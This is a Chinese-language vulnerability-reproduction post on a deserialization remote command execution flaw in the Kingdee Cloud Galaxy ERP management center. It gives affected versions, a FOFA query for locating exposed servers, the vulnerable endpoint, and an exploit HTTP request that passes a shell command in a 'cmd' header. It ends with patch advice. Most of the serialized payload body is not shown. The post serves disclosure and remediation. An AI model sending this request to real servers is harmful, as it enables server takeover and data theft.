【漏洞复现】​金蝶云星空管理中心反序列化命令执行漏洞(RCE)

news2024/11/27 1:25:16

文章目录

  • 前言
  • 声明
  • 一、系统简介
  • 二、漏洞描述
  • 三、影响版本
  • 四、漏洞复现
  • 五、整改意见


前言

​金蝶云星空管理中心存在反序列化命令执行,攻击者可通过该漏洞获取敏感信息,进而接管服务器。


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、系统简介

金蝶云星空管理中心是金蝶软件(中国)有限公司基于云计算、大数据、社交、人工智能、物联网等前沿技术研发的新一代战略性企业管理软件。
在这里插入图片描述

二、漏洞描述

金蝶云星空是一款云端企业资源管理(ERP)软件,为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织,多利润中心的大中型企业,以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖:财务、供应链、智能制造、阿米巴管理、全渠道营销、电商、HR、企业互联网服务,帮助企业实现数字化营销新生态及管理重构等,提升企业数字化能力。该软件存在远程命令执行漏洞 ,外部攻击者可通过使用恶意攻击手段对目标系统进行权限获取,进而接管服务器控制权。

三、影响版本

6.x版本:低于6.2.1012.4
7.x版本:7.0.352.16 至 7.7.0.202111
8.x版本:8.0.0.202205 至 8.1.0.20221110

四、漏洞复现

FOFA:app=" 金蝶云星空-管理中心"

漏洞链接:

http://127.0.0.1/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc

漏洞数据包如下:

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: */*
Connection: Keep-Alive
Content-Type: text/json
cmd: ipconfig
Content-Length: 15944

{
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            "format": "3"
        }

在这里插入图片描述

五、整改意见

  • 7.x版本必须先安装全量补丁(修复代码)后安装临时补丁(添加安全配置)
  • 8.x版本管理中心(默认8000端口)默认不对外开放,且包含修复代码。但是直接安装临时补丁可能会失败,所以依旧建议先安装全量补丁(修复代码)后安装临时补丁(添加安全配置)。

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